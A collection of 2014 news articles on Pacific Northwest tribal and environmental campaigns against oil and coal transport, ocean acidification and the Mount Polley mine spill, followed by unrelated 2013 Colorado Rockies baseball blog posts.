Salmon have long been spiritual symbols of the Pacific Northwest—aquatic residents of the Salish Sea that have given life to Coast Salish people for 14,000 years and white settlers for 150. That the skin of the Northwest’s spirit animal is melting off is just one of many reasons organizers say they are forming the brand-new Nawt-sa-maat Alliance, a group that has vowed to defeat oil and coal corporations bent on turning the Pacific Northwest into a fossil-fuel corridor.
Photo by Kelton Sears
Nawt-sa-maat, a Coast Salish word that means “One house, one heart, one prayer,” is an unprecedented trans-border coalition of Coast Salish indigenous nations, environmentalists, interfaith groups, and youth activists that met for the first time this past weekend in Discovery Park. The Alliance’s goal? “To protect the sacredness of the Salish Sea.”
“The tribes are the original environmentalists,” Annette Klapstein, a member of the Seattle Raging Grannies and a new member of the Nawt-sa-maat Alliance, said at the initial meeting on Sunday. Klapstein was one of three protesters who sat on train tracks in Anacortes to block the controversial “exploding” oil trains in July. It was her first direct action after years of fruitless writings to the Seattle City Council and visits to Olympia to persuade politicians to do something about the influx of dangerous rail cars.
“It was always very iffy for tribes to work with environmental organizations because these organizations were arrogant,” Klapstein said. “They would tell tribes what to do, which didn’t go over very well. This new alliance, based on respect and understanding, is so important because these different groups’ goals are much the same, and we are so much more powerful together.”
Chief George, one of the three main founders of the Nawt-sa-maat, presided over the initial meeting and made it clear that one of its biggest enemies was the massive energy company Kinder Morgan. “We stand as one, and together we will protect and restore the sacredness of the Salish Sea,” he said. “Together, we are stronger than those who wish to use our home and waters as a mere highway for dirty oil and coal. Together, we will stop them. Kinder Morgan will not win this battle.”
Formed by Richard Kinder, an ex-Enron employee, the oil mega-corporation is proposing a massive $5.4 billion oil pipeline connecting the Alberta tar sands to the Pacific through Burnaby, B.C., tripling current capacity and creating the potential for enormous spills in the North Salish that would directly affect us in Washington. Canadian Prime Minister Stephen Harper has been pushing the project despite massive backlash from British Columbian activists and the indigenous Tsleil-Waututh, who are now taking the project to court for failing to consult with the First Nations tribe on the federal review.
The mood at the meeting was intensely spiritual at times. Four local religious leaders, a United Methodist, a Buddhist, a Sufi, and an Interspirit, came together to bless the gathering in their respective traditions, ending with an indigenous cedar-bough blessing that the crowd happily lined up to receive. Many of the religious groups present vowed to convert their houses of worship to solar energy in an act of good faith.
Being a member of the Nawt-sa-maat effectively means a couple of things. Members are expected to join in a “4 Days of Action” campaign, starting on Sept. 19, that ranges from a salmon homecoming celebration to a climate-change rally at the Canadian border and ends with an international treaty signing that will effectively ratify the new trans-border Nawt-sa-maat Alliance. Members are then expected to join in future actions and work to build the nascent network, which will soon expand its scope to tackle the proposed coal-extraction sites at Cherry Point, sacred land to the people of the Lummi Nation near Bellingham.
“I just want to make this very clear,” Chief George said as he doled out salmon to the Nawt-sa-maat near the meeting’s end, “this Alliance isn’t just for one group. It’s for everyone. The Salish Sea is for everyone, not just corporations. We will win this fight.”
As more oil trains travel along the Columbia River and Puget Sound, conservation groups worry that cleanup plans could harm sensitive wildlife, like endangered salmon and shorebirds.
That concern is prompting legal action. The Center for Biological Diversity and Friends of the Columbia Gorge Thursday filed a 60-day notice to sue the U.S. Coast Guard and the Environmental Protection Agency. The conservation groups say the oil spill response plan needs to be updated to account for endangered species.
Jared Margolis, an attorney for the center, said the response plan hasn’t been updated in 10 years. That means the plan doesn’t include new wildlife habitat and new species on the Endangered Species List, like smelt, also known as eulachon.
“If those spill response plans aren’t up-to-date, they could boom the oil right into critical habitat for endangered species, which can really impact the salmon and sturgeon.” Margolis said.
Portland, Oregon: Dozens of social, economic and climate justice organizers from across the Pacific Northwest have been meeting for the past 16 months to bring the Pacific Northwest Social Forum to Portland, Oregon, September, 26th-28th, 2014. The three-day event will feature music; a fundraiser/solidarity action for a computer center in Burundi, Africa; and assemblies and panels on topics including Indigenous Treaty Rights, Climate Justice, Housing and Homelessness and Democracy. The overall goal of the event is to create a Pacific Northwest People’s Plan for Social, Economic and Climate Justice with strategy and actions for the next two years. The event will conclude with a direct action on Sunday that is also the kick-off to the implementation of the Pacific Northwest People’s Plan for Justice.
The Pacific Northwest Social Forum is one of many events taking place across the country in 2014 that are connected to and building toward larger gatherings in 2015 for the US Social Forum. The US Social Forum (USSF) is a national and international movement building process that is connected and accountable to the World Social Forum. After gathering 100,000 people in Porto Alegre, Brazil in 2005, the International Council of the World Social Forum decided the following year there would be regional social forums. The USSF is one of these regional forums, stating that it was strategic to hold a gathering of peoples and movements within the “belly of the beast” that were against the ravages of globalization and neoliberal policies in the US and worldwide. The USSF is not a conference rather it is a space to come up with the peoples’ solutions to the economic and ecological crisis. The USSF is a next most important step in the struggle to build a powerful multi-racial, multi-sectoral, inter-generational, diverse, inclusive, internationalist movement that transforms this country and changes history.
“We hope to gather as many folks from the Pacific Northwest as we can from all walks of life,” reported Shamako Noble, National Coordinator with the USSF and organizer for the event. “We have buses coming from the North, South and East to the Forum, with reps from Hip Hop Congress, Move to Amend, Montana based Indian Peoples Action, and (folks from North), and groups from Seattle like the Multi-Media Center. This is shaping up to be a historic event, a game changer in working together to reclaim our region in a way that makes sense for the people and the planet. We’re excited to come together for this motion forward.”
Alyssa Macy, an organizer with the International Indian Treaty Council has been mobilizing Indigenous Peoples to participate in the forum. She stated, “This is an excellent opportunity to educate those individuals and organizations working for a most just society on Treaty Rights here in the Northwest and our shared responsibility in ensuring that the US honors them. Our struggles are related and it is only together that we can realize the society we envision.”
Registration is now open for this historic event at www.pnwsf.org and offers a sliding scale of $10-$100 with the opportunity to do 2-hours of barter work in exchange for registration.
Courtesy of ‘Kwel Hoy: A Totem Pole Journey’A 19-foot pole carved by Lummi master carver Jewell James and the House of Tears Carvers is being taken on a journey to 21 Native and non-Native communities in four Northwest states and British Columbia. James carved the pole to compel people to speak out against coal and oil transport projects that could have a devastating impact on the environment. The pole will be raised at Beaver Lake Cree First Nation on September 6.
LUMMI NATION, Washington—At each stop on the totem pole’s journey, people have gathered to pray, sing and take a stand.
They took a stand in Couer d’Alene, Bozeman, Spearfish, Wagner and Lower Brule. They took a stand in Billings, Spokane, Yakama Nation, Olympia and Seattle. They took a stand in Anacortes, on San Juan Island, and in Victoria, Vancouver and Tsleil Waututh.
They’ll take a stand in Kamloops, Calgary and Edmonton. And they’ll take a stand at Beaver Lake Cree First Nation, where the pole will be raised after its 5,100-mile journey to raise awareness of environmental threats posed by coal and oil extraction and rail transport.
“The coal trains, the tar sands, the destruction of Mother Earth—this totem [pole] is on a journey. It’s calling attention to these issues,” Linda Soriano, Lummi, told videographer Freddy Lane, Lummi, who is documenting the journey. “Generations yet unborn are being affected by the contaminants in our water.… We need people to take a stand. Warrior up—take a stand, speak up, get involved in these issues. We will not be silent.”
The 19-foot pole was crafted by Lummi master carver Jewell James and the House of Tears Carvers. The pole and entourage left the Lummi Nation on August 17 for 21 Native and non-Native communities in four Northwest states and British Columbia. The itinerary includes Olympia, the capital of Washington State, and Victoria, the capital of British Columbia. The pole is scheduled to arrive at Beaver Lake Cree on September 6.
The journey takes place as U.S. energy company Kinder Morgan plans to ship 400 tanker loads of heavy crude oil each year out of the Northwest; a refinery is proposed in Kitimat, British Columbia, where heavy crude oil from Enbridge’s Northern Gateway pipeline would be loaded onto tankers bound for Asia; and as Gateway Pacific proposes a coal train terminal at Cherry Point in Lummi Nation territory. Cherry Point is a sacred and environmentally sensitive area; early site preparation for the terminal was done without permits, and ancestral burials were desecrated.
In a guest column published on August 11 in the Bellingham Herald, James wrote that Native peoples have long seen and experienced environmental degradation and destruction of healthy ecosystems, with the result being the loss of traditional foods and medicines, at the expense of people’s health.
“We wonder how Salish Sea fisheries, already impacted by decades of pollution and global warming, will respond to the toxic runoff from the water used for coal piles stored on site,” he wrote. “What will happen to the region’s air quality as coal trains bring dust and increase diesel pollution? And of course, any coal burned overseas will come home to our state as mercury pollution in our fish, adding to the perils of climate change.”
James wrote that the totem pole “brings to mind our shared responsibility for the lands, the waters and the peoples who face environmental and cultural devastation from fossil fuel megaprojects.… Our commitment to place, to each other, unites us as one people, one voice to call out to others who understand that our shared responsibility is to leave a better, more bountiful world for those who follow.”
‘This Is the Risk That Is Being Taken’
Recent events contributed to the urgency of the totem pole journey’s message.
Two weeks before the journey got under way, a dike broke at a Quesnel, British Columbia, pond that held toxic byproducts left over from mining; an estimated 10 million cubic meters of wastewater and 4.5 million cubic meters of fine sand flowed into lakes and creeks upstream from the Fraser River, a total of four billion gallons of mining waste. A Sto:lo First Nation fisheries adviser told the Chilliwack Progress of reports of fish dying near the spill, either from toxins or asphyxiation from silt clogging their gills; and First Nation and non-Native fisheries are bracing for an impact on this year’s runs.
On July 24, a Burlington Northern train pulling 100 loads of Bakken crude oil derailed in Seattle’s Interbay neighborhood. The railcars didn’t leak, but the derailment prompted a statement from Fawn Sharp, president of the Quinault Indian Nation and the Affiliated Tribes of Northwest Indians and Area Vice President of the National Congress of American Indians.
“People need to know that every time an oil train travels by, this is the risk that is being taken,” she said. “These accidents have occurred before. They will occur again. … The rail and bridge infrastructure in this country is far too inadequate to service the vast expansion of oil traffic we are witnessing.”
A year earlier, on July 6, 2013, an unmanned train with 72 tank cars full of Bakken crude oil derailed in a small Quebec village, killing 47 people. An estimated 1.5 million gallons of oil spilled from ruptured tank cars and burned; according to the Washington Post, it was one of 10 significant derailments since 2008 in the United States and Canada in which oil spilled from ruptured cars.
Some good news during the journey: As the totem pole and entourage arrived at the Yankton Sioux Reservation in Wagner, South Dakota, word was received that the Oregon Department of State Lands rejected Ambre Energy’s application to build a coal terminal on the Columbia River; the company wants to ship 8.8 million tons of coal annually to Asia through the terminal.
One of the concerns that communities have about coal transport is exposure to coal dust; those concerns are shared by residents of Plaquemines Parish, Louisiana, where proponents of a coal terminal on the Mississippi River forecast an increase in Gulf Coast coal exports from seven million tons in 2011 to 96 million by 2030.
“I think the risk is real. I think there is a lot of potential harm from multiple sources,” Maumus told the Times-Picayune.
James said there are alternatives to coal and oil—among them energy generated by wind, sun and tides.
“But we’re not going to move toward those until we move away from fossil fuels,” he said.
In his Nation’s territory, Yakama Chairman JoDe L. Goudy told videographer Lane he hopes the pole’s journey will help the voice of Native people “and the voice of those people across the land that have a concern for the well-being of all” to be heard.
“May the journey, the blessing, the collective prayers that’s [being offered] and the awareness that’s being created lift us all up,” he said, “lift us all up to find a way to come against the powers that be … whether it be coal, whether it be oil or whatever it may be.”
Albert Redstar, Nez Perce, advised young people: “Remember the teachings of your people. Remember that there’s another way to look at the world rather than the corporate [way]. It’s time to say no to all that. It’s time to accept the old values and take them as your truths as well.… They’re ready for you to awaken into your own heart today.”
To Unite and Protect
The totem pole journey is being made in honor of the life of environmental leader and treaty rights activist Billy Frank Jr., Nisqually. Frank, chairman of the Northwest Indian Fisheries Commission, walked on in May.
James said the pole depicts a woman representing Mother Earth, lifting a child up; four warriors, representing protectors of the environment; and a snake, representing the power of the Earth. The pole journey has been undertaken in times of crisis several times this century.
In 2002, 2003 and 2004, to help promote healing after the 9/11 terrorist attacks, James and the House of Tears Carvers journeyed across the United States with healing poles for Arrow Park, New York, 52 miles north of Ground Zero; Shanksville, Pennsylvania, where the hijacked United Airlines Flight 93 crashed; and Washington, D.C.’s Congressional Cemetery, seven miles from the Pentagon. And In 2011, James and a 20-foot healing pole for the National Library of Medicine visited nine Native American reservations en route to Bethesda, Maryland. At each stop on the three-week cross-country journey, people prayed, James said at the time, “for the protection of our children, our communities and our elders, and generally helping us move along with the idea that we all need to unite and protect the knowledge that we have, and respect each other.”
Scott Terrell photoTribal fisherman Randy Fornsby hoists a chinook salmon on the bank of the Skagit River west of Mount Vernon, Wash., Sept. 2, 1987. The Swinomish and Upper Skagit tribes shared a fishing area just upriver from where the Skagit breaks into its north and south forks.
LA CONNER, Wash. – With 95 percent of the Swinomish Indian Tribal Community’s reservation borders on the water, the tribe is concerned about the rise in sea level and storm surges expected as the planet warms.
As sea level rise pushes high tides and winter storm surges farther inland, coastal tribes in the Northwest worry that their archaeological sites will be wiped out, Swinomish Tribal historic preservation officer Larry Campbell said. They also worry that traditional food sources like salmon and oysters may be affected.
Campbell said food and medicine resources used by tribes around the country have moved or disappeared altogether in some places from where they were traditionally gathered, which is believed to be a result of the changing climate and shifting weather patterns. Those changes affect not only physical access to the natural resources, but the cultural well-being of the tribes.
“It’s important when you look at overall health to look at not just the foods and the resources, but the gathering,” Campbell said. “There’s a process of gathering these things that’s traditional in nature.”
Traditions are passed down through generations as elders share family gathering secrets with their next of kin, he said.
The Swinomish tribe has gained national recognition for its commitment to protecting the culture and natural resources of the Skagit Valley in the face of climate change and is gearing up to begin a new research project. Building off past studies, the tribe will evaluate both the physical and social impacts climate change may have on local near-shore environments.
Swinomish environmental health analyst Jamie Donatuto said the study will build upon earlier research by looking at indigenous health indicators, which take into account cultural, familial and emotional aspects of the impacts climate change may have on the natural resources the tribe values.
Over the course of the three-year study, Swinomish environmental specialist Sarah Grossman will lead efforts to monitor waves and winds on the shorelines during the winter, when storm surges roll in. She will also lead beach surveys to document characteristics like sediment, wood debris and eelgrass cover.
Donatuto will lead the social science side, organizing a series of spring workshops to invite the community to review and discuss the scientific data collected.
“You can’t assess health without actual conversations with community members,” she said.
A $756,000 U.S. Environmental Protection Agency Science to Achieve Results program grant was awarded in June to support the multiyear project.
Swinomish intergovernmental affairs liaison Debra Lekanof said the Swinomish have invested $17 million in collaborative work on the nation’s natural resources over the past 10 years.
“We’re protecting the universal resource rather than the tribal resource. We’re doing a lot more for the state and the county, and then in the end the tribe benefits by taking care of the whole,” Campbell said. “We’re a very aggressive tribe when it comes to our environment.”
The tribe has also been chosen as a finalist for the Harvard Project on American Indian Economic Development’s Honoring Nations Program. The program, run by the John F. Kennedy School of Government at Harvard University, “identifies, celebrates and shares excellence in American Indian tribal governance.” This year, the tribe gained its place among 18 finalists in the running for the single “High Honor” because of its climate change initiative. The winner will be announced in October.
The Swinomish Indian Senate passed a proclamation on its climate change initiative Oct. 2, 2007, that marked the start of the tribe’s commitment to addressing the potential effects of climate change. The tribe developed an Impact Assessment Technical Report in 2009 and a Climate Adaptation Plan in 2010 that have provided a framework for other tribes to follow, and has continued to conduct related research, Donatuto said.
Associated Press photoA tribal canoe, in view of the Space Needle, arrives July 20, 2011, at Seattle’s Alki Beach. The landing of about a dozen canoes marked one leg of an annual journey of tribal canoes from the Salish Sea, heading to Swinomish, Wash.
The Lummi Nation, a Native American tribe in the Pacific Northwest, has taken an uncompromising stand against the largest proposed coal export terminal in the country: the Gateway Pacific Terminal. If completed, it would export 48 million tons of coal mined from Montana and Wyoming’s Powder River Basin, and in the process threaten the Lummi’s ancestral fishing grounds and their economic survival. On Aug. 17 the Lummi people launch a totem pole journey — both a monument to protest and a traveling rally that will bring together imperiled locals, citizen groups, and other indigenous tribes for a unified front against Big Coal and Big Oil.
Grist fellow Amber Cortes visited the Lummis in the run-up to the pivotal protest to find out how they’ve been able to push back against the terminal. The result is a rich story about activism, alliances, and small victories that add up to a big resistance.
If you listen closely, you can hear Dan Cornelius singing his favorite Willie Nelson theme song—“I’m on the road again…”—as his Mobile Farmers Market vehicle heads down the highway.
Cornelius, of Wisconsin’s Oneida Nation, is general manager of a three-month-long, 10,000-mile foodie road show designed to showcase Native American foods in conjunction with a reconnection of tribal trade routes. “A lot of native communities are remote, literally food deserts, and don’t have good access to healthy traditional fresh foods. Part of our mission is to access food resources, take those great products and distribute them as part of a tribal trade reintroduction,” he says.
“There’s a lot of product that is traditionally grown, harvested and processed—lots of time and labor that goes into that—but the traditional foods aren’t made available to the general public as a sustainable economic resource.”
The interest is there, but the connection still needs to be made. “It’s about health issues, maintaining our traditions, and turning the effort into a form of economic development by selling excess product for profit.”
The “Reconnecting the Tribal Trade Routes Roadtrip” is an effort to bring attention to the unique Native food products and artwork from across the country. The Mobile Farmers Market van started the roadtrip in mid-December when it picked up wild rice, maple syrup, and other products in northern Minnesota. The roadtrip officially kicked off in early January, making the drive from Wisconsin to Louisiana before heading to Oklahoma, New Mexico, Arizona, and the West Coast. The trip then visited Montana and the Dakotas en route to concluding during March back in Minnesota. (Intertribal Agriculture Council)
The Mobile Farmers Market traveled across the country earlier this year as part of the Intertribal Agriculture Council‘s efforts to improve Indian agriculture by promoting Indian use of Indian resources. “Prior to our founding in 1987, American Indian agriculture was basically unheard of outside reservation boundaries,” notes the group’s web page.
”The Mobile Farmers Market utilized a large capacity fuel-efficient cargo van to transport a number of products across a region, all the while providing support to start farmers markets in interested tribal communities,” says Market Manager Bruce Savage. The vans’ insulated interior lining ensured correct temperature control, and a chest freezer allowed for transport of frozen goods.
“For a variety of reasons, traditional native products are frequently difficult to obtain, and the Mobile Farmers Market hoped to change that by making things more accessible to tribal communities,” says Cornelius. In the Pacific Northwest, canned and smoked salmon were frequently obtainable items while the Southwest offered up cactus buds and syrup. The Great Plains provided a prairie-grown protein-packed wild turnip. In the Great Lakes region it was sumac berries. “Soak them in water, add honey or syrup, and you get a tea-like lemonade that you won’t find commercially,” Cornelius says.
Coyote Valley Tribe’s community and Head Start garden and greenhouse (Intertribal Agriculture Council)
Success of the project was contingent on cultivating supportive relationships with local partners and that part of the plan came together nicely, very reminiscent of the early trade and barter days.
“Trade routes once connected regional tribes across the continent where different local areas produced unique resources,” says Cornelius. “As an example, the Objiwe exchanged meat and fish for corn from the Huadenosaunee in the Northeast. And, of course, the Three Sisters combination of corn/beans/squash gradually moved from South and Central America throughout all of the North American Continent. “
The Reconnecting the Tribal Trade Routes Roadtrip got underway in December 2013 by first picking up wild rice, maple syrup, and other products in Minnesota before heading off to Wisconsin, Louisiana, Oklahoma, New Mexico, Arizona, and the West Coast and finally heading home to Minnesota earlier this year via Montana and the Dakotas.
The Mobile Farmers Market’s main focus is food, but it also supports Native artisan by carrying a small selection of jewelry, crafts, and artwork. Pictured here: inlaid earrings from Santa Domingo Pueblo. (nativefoodnetwork.com)
As Cornelius and crew bought and sold the wares of North America’s indigenous communities, the grocery list grew to include tepary beans from the Tohono O’odham people to chocolate produced by the Chickasaw Nation.
The mobile van discovered a gold mine at Ramona Farms in Sacaton, Arizona, on the Gila River Indian Reservation. Ramona and Terry Button have been growing crops for small ethnic grocers on the reservation for over 40 years and still have plenty to share with the outside world, everything from Southwestern staples like garbanzo and Anasazi beans to white Sonoran and Pima club wheat as well as alfalfa and cotton.
“Part of our mission was to build an awareness and an excitement of all the things available ‘out there’ and we succeeded,” Cornelius says. “One of the great things about our initial effort (discussions are currently underway to find funding for more vans and an increased regional visability) was the ground level opportunity to talk with community growers face-to-face discussing products, challenges, and opportunities to introduce traditional items to a larger world.”
ThinkstockThe ocean’s acidity is rising and dissolving seashells, which could spell doom for Northwest tribes’ way of life as well as their livelihood in the shellfish industry and sustenance harvesting.
The ancestral connections of tribal coastal communities to the ocean’s natural resources stretch back thousands of years. But growing acidification is changing oceanic conditions, putting the cultural and economic reliance of coastal tribes—a critical definition of who they are—at risk.
It’s a big challenge to tribes in the Pacific Northwest, said Billy Frank Jr. (Suquamish) back in 2010, addressing the 20 tribes that make up the Northwest Indian Fisheries Commission.
“It’s scary,” he said in a video posted at the fisheries commission website. “The State of Washington hasn’t been managing it. The federal government hasn’t been managing it. We’ve got to bring the science people in to tell them what we’re talking about.”
What they were talking about are the decreases in pH and lower calcium carbonate saturation in surface waters, which together is called ocean acidification, as defined by the National Oceanic and Atmospheric Administration (NOAA). Some 30 percent of the carbon, or CO2, released into the atmosphere by human activities has dissolved straight into the sea. There it forms the carbolic acid that depletes ocean waters of the calcium that shellfish, coral and small creatures need to make their calcium carbonate shells and skeletons.
Its impacts are felt by Native and non-Native communities in Washington State that rely on oysters and shellfish. Disastrous production failures in oyster beds caused by low pH-seawater blindsided the oyster industry in 2010, prompting a comprehensive 2012 investigation by Washington State. Earlier this month Governor Jay Inslee took the issue to the media in order to jump-start climate change action in his state, The New York Times reported on August 3.
The Quinault Indian Nation on Washington’s coast is part of one of the most productive natural areas in the world and is especially involved in the ocean acidification issue. The rivers in Quinault support runs of salmon that have in turn supported generations of Quinault people. The villages of Taholah and Queets are located at the mouth of two of those great rivers. The Pacific Ocean they flow into is the source of halibut, crab, razor clams and many other species that are part of the Quinault heritage.
“Since the summer of 2006, Quinault has documented thousands of dead fish and crab coming ashore in the late summer months, specifically onto the beaches near Taholah,” Quinault Marine Resources scientist Joe Schumacker told Indian Country Today Media Network. “Our science team has worked with NOAA scientists to confirm that these events are a result of critically low oxygen levels in this ocean area.“
The great productivity of this northwest coast is driven by natural upwelling, in which summer winds drive deep ocean waters, rich in nutrients, to the surface, Schumacker explained. This cycle has been happening forever on the Washington coast, and the ecosystem depends on it.
But now, “due to recent changes in summer wind and current patterns possibly due to climate change, these deep waters, devoid of oxygen, are sometimes not getting mixed with air at the surface,” Schumacker said. “The deep water now comes ashore, taking over the entire water column as it does, and we find beaches littered with dead fish—and some still living—in shallow pools on the beaches, literally gasping for oxygen. Normally reclusive fish such as lingcod and greenling will be trapped in inches of water trying to get what little oxygen they can to stay alive.”
The Quinault, working with University of Washington and NOAA scientists determined these hypoxia events were also related to ocean acidification.
“Now Quinault faces the potential for not just hypoxia impacts coming each summer, but also those same waters bring low-pH acidic waters to our coast,” Schumacker said. “Upwelling is the very foundation of our coastal ecosystem, and it now carries a legacy of pollution that may be causing profound changes unknown to us as of yet. The Quinault Department of Fisheries has been seeking funding to better study and monitor these potential ecosystem impacts to allow us to prepare for an unknown future.”
Schumacker noted that tribes are in a prime position to observe and react to these changes.
“The tribes of the west coast of the U.S. are literally on the front line of ocean acidification impacts,” he said. “Oyster growers from Washington and Oregon have documented year after year of lost crops as tiny oyster larvae die from low pH water. What is going on in the ecosystem adjacent to Quinault? What other small organisms are being impacted, and how is our ecosystem reacting? We have a responsibility to know so we can plan for an uncertain future.”
Scientists from NOAA and Oregon State University studied ocean waters off California, Oregon and Washington shorelines in August 2011, and found the first evidence that increasing acidity was dissolving the shells of a key species of minuscule floating snails called pterapods that lie at the base of the food chain.
Their study, published in the April 4, 2014, edition of the British scientific journal Proceedings of the Royal Society B, found that 53 percent of pterapods “are already dissolving,” said NOAA’s Feely.
“Pteropods are only a canary in this coal mine,” the Quinault’s Schumacker said. “They are a critical component of salmon diets, but what other creatures in the ecosystem are being affected?”
It’s a concern too, for the Yurok Tribe on the northern California coast. Micah Gibson, director of the Yurok Tribe Environmental Program, told ICTMN, “We’ve done some research, but no monitoring yet.”
The Passamaquoddy Tribal Environmental Department in Maine is monitoring ocean acidification, according to a letter the tribe sent to the U.S. Environmental Protection Agency (EPA). They reported that the pH of Passamaquoddy, Cobscook Bays and the Bay of Fundy was around 8.03 during the 1990s and had dropped to 7.92.
The lower the pH value, the more acidic the environment. If, or when, the Passamaquoddy letter stated, the level in bays falls to 7.90, shellfish—including clams, scallops and lobster, all economic mainstays—will die.
In Alaska, coastal waters are particularly vulnerable because colder water absorbs more carbon dioxide, and the Arctic’s unique ocean circulation patterns bring naturally acidic deep ocean waters to the surface, according to recent research funded by National Oceanic and Atmospheric Administration (NOAA) awaiting publication in the journal Progress in Oceanography.
Ocean acidification spells even more trouble for the Inuit subsistence way of life.
“New NOAA-led research shows that subsistence fisheries vital to Native Alaskans and America’s commercial fisheries are at-risk from ocean acidification,” NOAA said in the report. “Emerging because the sea is absorbing increasing amounts of carbon dioxide, ocean acidification is driving fundamental chemical changes in the coastal waters of Alaska’s vulnerable southeast and southwest communities.”
The pH of the ocean’s surface waters had held stable at 8.2 for more than 600,000 years, but in the last two centuries the global average pH of the surface ocean has decreased by 0.11, dropping to 8.1. That may not sound like a lot, but as of now the oceans are 30 percent more acidic than they were at the start of the Industrial Revolution 250 years ago, according to NOAA.
If humans continue emitting CO2 at the level they are today, scientists predict that by the end of this century the ocean’s surface waters could be nearly 150 percent more acidic, resulting in a pH the oceans haven’t experienced for more than 20 million years.
The ocean acts as a carbon sink, greatly reducing the climate change impact of CO2 in the atmosphere. When scientists factor in our increasingly acidic oceans their studies show that global temperatures are set to rise rapidly, according to a study of ocean warming published last year in the journal Geophysical Research Letters.
These frightening scenarios illustrate the point made by Frank in his talk on ocean acidification: Humanity must meet this challenge. So too must Inslee’s persistence in trying to place a high priority on climate change in Washington DC.
We are moving into the Anthropocene Age, a new geological epoch in which humanity is influencing every aspect of the Earth on a scale akin to the great forces of nature, according to the journal Environmental Science & Technology. The Anthropocene challenges American Indians, but if traditional knowledge could foresee the tremendous challenges posed by ocean acidification, Indigenous knowledge can surely find solutions to the impacts of climate change, starting with how we use energy, and how much carbon we emit.
“Have a little courage, and get out of some boxes,” the environmentalist and writer Winona LaDuke told ICTMN. “Put in renewable energy and re-localize our economies, from food to housing, health and energy.”
A dam break at a central British Columbia mine could threaten salmon fisheries in the Pacific Northwest.
Mount Polley is an open-pit copper and gold mine roughly 400 miles north of Seattle. A dam holding back water and silt leftover from the mining process broke Monday. It released enough material to fill more than 2,000 Olympic-sized swimming pools.
Government regulators have not yet determined its content. But documents show it could contain sulfur, arsenic and mercury.
Imperial Metals, the mine’s owner, issued a statement that only said the material was not acidic. Emergency officials told residents not to drink or bathe in water from affected rivers and lakes.
The spill area is in the watershed of the Fraser River, which empties into the Pacific Ocean at Vancouver, B.C. The river supports a large sport and commercial fishery in Washington state.
Brian Lynch of the Petersburg, Alaska, Vessel Owners Association says some of those fish also swim north.
“The United States has a harvest-sharing arrangement for Fraser sockeye and pink salmon through provisions of the Pacific Salmon Treaty. So any problem associated with salmon production on the Fraser will affect U.S. fishermen,” he says.
Imperial Metals did not respond to requests for comment. Its website says the mine is closed and damage is being assessed.
Provincial officials have ordered the corporation to stop water from flowing through the dam break. Imperial could face up to $1 million in fines.
Environmental groups in Canada and Alaska say Mount Polley’s dam is similar to those planned for a half-dozen mines in northwest British Columbia.
They say a dam break there would pollute salmon-producing rivers that flow through Alaska.
That could also affect U.S.-Canada Salmon Treaty allocations, including for waters off Washington state. |
Tuesday, April 2, 2013
1. Give Wilton Lopez a fair shake: Denver sports fans aren’t the most forgiving people when professional athletes struggle wearing their team’s uniform or decide to skip town for greener pastures, but it’s only one outing. Ugly, horrendous and disastrous, yes, but still only one outing. The Rockies brought Lopez in to be their 8th inning guy (if you hate set roles in the bullpen, I understand but we'll have to cover that later) and one magnified bad outing on opening day isn’t going to change that. Nor should it.
2. It wasn’t Walt’s fault: Yes, Matt Belisle only threw one pitch in the game. (It was a damn fine pitch, too.) But when you spend all spring establishing roles you don’t just change them on opening day for no reason. Belisle did his job. The 8th inning is entrusted to Lopez. Everyone on the team knows this. Why would you then change that for the sake of changing it on opening day? There’s no logic in that. Lopez had done nothing yet to lose the role coming in, so you roll with him as planned.
Did Weiss stick with him too long? Maybe. Maybe he should have had Rafael Betancourt or someone else ready. That could have worked. And maybe next time he will. But you can’t panic and stray from the gameplan on Day 1. Especially when you're a BRAND new manager just establishing yourself. That’s not an impression you want to leave on players because they‘ll start second guessing him quickly.
When Walt Weiss feels like he needs to change a player's role, I don't think he'll hesitate to do it. It's just not going to happen in the middle of Game 1.
3. Jhoulys Chacin: The offense packed a nice punch. That was encouraging. Of course we also had a lot of the same lousy base running and poor execution in run scoring situations, but the potential to score runs in bunches will be there. I have little doubt about that.
As good as that was though, I think we all had to be pretty pleased and encouraged by Jhoulys Chacin’s performance. Granted, it could have ended up a lot different had Milwaukee not made three strange outs on the bases, but he looked great once he settled down and those middle innings into the 7th were fun to watch. If we could just get him to bottle that up and hold on to it, we’d had no worries at the top of the rotation.
But it’s one step at a time, so we’ll say he moved forward here and leave it at that.
Monday, April 1, 2013
Well folks, it seems I've been busier than even I anticipated I'd be since the beginning of the year so I didn't even have a chance to weigh in on spring training. I don't think there was much to talk about anyway aside from maybe Tyler Colvin getting shipped to minors after a rough, rough March. I probably wouldn't have reacted that way, but after seeing how lost he became in 2011, I guess I see the Rockies reasoning. I just hope he gets it together quick.
Yorvit Torrealba beat out Ramon Hernandez. No surprise there.
They inked Jon Garland. Big fan of that move.
Aaron Cook is back on a minor league deal. That's fine.
The rest of the starting pitching has been all over the map. Duh.
Todd Helton looked like his old self over the past week. That's always nice to see.
But that's all behind us now. It's time to look forward, which is what I intend to do here with a few predictions. Just remember... these predictions won't matter a week from now and will likely be forgotten six months from now. Unless they're correct, of course.
Wins: 73
Some people think they can get to .500 this season. ESPN's Keith Law says 53 wins. I'm going in between with a learn towards optimism. They're going to struggle to pitch again, and they probably won't succeed within the division, but a healthier season should eliminate some of the misery.
All-Stars: If Dexter Fowler isn’t an all-star, we’ll all be complaining that he should have been. I think he finally breaks out. Meanwhile, Troy Tulowitzki is a given and Carlos Gonzalez should be, too.
Team leader in wins: Jon Garland... even if he’s traded in July or August. I'm thinking 11-12.
Team leader in saves: Rafael Betancourt... again, even if he's traded in July or August.
Todd Helton's numbers: .280, 10 home runs, 55 RBI in 92 games. Wouldn't be a bad way to go out.
Wilin Rosario home runs: 27
Wilin Rosario: passed balls: 11
Date Nolan Arenado arrives: No sooner than June 15 and no later than July 15. He’ll be a breath of fresh air.
Walt Weiss status: He'll earn a second year. I assume he'll get it, too, but I'm more certain he'll earn it than receive it.
Public Enemy No 1 (AKA the Frankin Morales/Felipe Paulino/Esmil Rogers/Jeremy Guthrie on the team): Hands down this will be Chris Volstad. Rockies fans tend to sour on new guys quickly and I'm afraid Volstad will make himself an easy target.
Thursday, January 10, 2013
Stunning how little significant activity we've seen from the Rockies this offseason, isn't it?
Well, unless you consider the Manny Corpas signing on Wednesday an impact signing, which of course it isn't. But hey, I like Manny a lot and will always appreciate his efforts from the days before Jim Tracy blew his arm up, so I can't complain about it and certainly hope it ends up working out better than expected.
Anyway, the blog certainly won't be as silent as it has been during the offseason once spring training gets underway, but it also won't be as active as past seasons. That's because other writing opportunities and work assignments will require a lot of attention, making it increasingly difficult for me to write recaps - or recraps - after each game.
